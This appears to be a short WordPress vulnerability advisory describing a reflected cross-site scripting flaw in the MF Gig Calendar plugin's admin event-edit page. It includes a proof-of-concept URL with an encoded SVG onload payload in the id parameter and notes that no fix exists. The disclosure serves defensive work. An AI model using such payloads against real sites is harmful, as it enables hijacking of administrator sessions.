MF Gig Calendar <= 1.1 - Reflected Cross-Site Scripting (XSS)
Description
The plugin does not sanitise or escape the id GET parameter before outputting back in the admin dashboard when editing an Event, leading to a reflected Cross-Site Scripting issue
Proof of Concept
https://example.comwp-admin/admin.php?page=mf_gig_calendar&action=edit&id=%22%3E%3Csvg%2Fonload%3Dalert%28%2FXSS%2F%29%3B%3E%3C%22
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
iohex
Submitter
iohex
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-08-17 (about 3 months ago)
Added
2021-08-17 (about 3 months ago)
Last Updated
2021-08-17 (about 3 months ago)